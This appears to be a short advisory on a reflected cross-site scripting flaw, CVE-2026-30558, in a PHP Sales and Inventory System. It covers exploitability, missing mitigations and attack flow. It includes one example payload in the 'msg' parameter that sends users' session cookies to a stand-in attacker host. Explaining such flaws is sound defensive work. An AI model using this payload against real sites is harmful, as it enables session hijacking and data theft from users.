PHP CVE-2026-30558

While CVSS scoring data is unavailable, the presence of publicly available exploit code and the straightforward nature of reflected XSS in a web application indicate practical exploitability. Reflected XSS typically requires social engineering (tricking users to click a malicious link), raising the barrier to exploitation compared to stored XSS or CSRF. However, the application appears to be a legacy or low-security system (SourceCodester typically produces training/demo code), suggesting deployed instances may lack compensating controls such as Content Security Policy (CSP) headers, HttpOnly cookie flags, or Web Application Firewalls (WAF). Real-world risk is moderate to high if instances are internet-facing or used with sensitive customer data; organizations relying on this system for actual sales/inventory operations face immediate session compromise and data exfiltration risk.

An attacker crafts a malicious URL embedding a JavaScript payload in the 'msg' parameter (e.g., add_customer.php?msg=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to an authenticated user or administrator. When the target clicks the link while logged into the Sales and Inventory System, the injected script executes in their browser, stealing session cookies or performing unauthorized actions (e.g., adding fraudulent customer records or exporting data). Publicly available exploit code enables attackers to automate payload generation and distribution via phishing campaigns.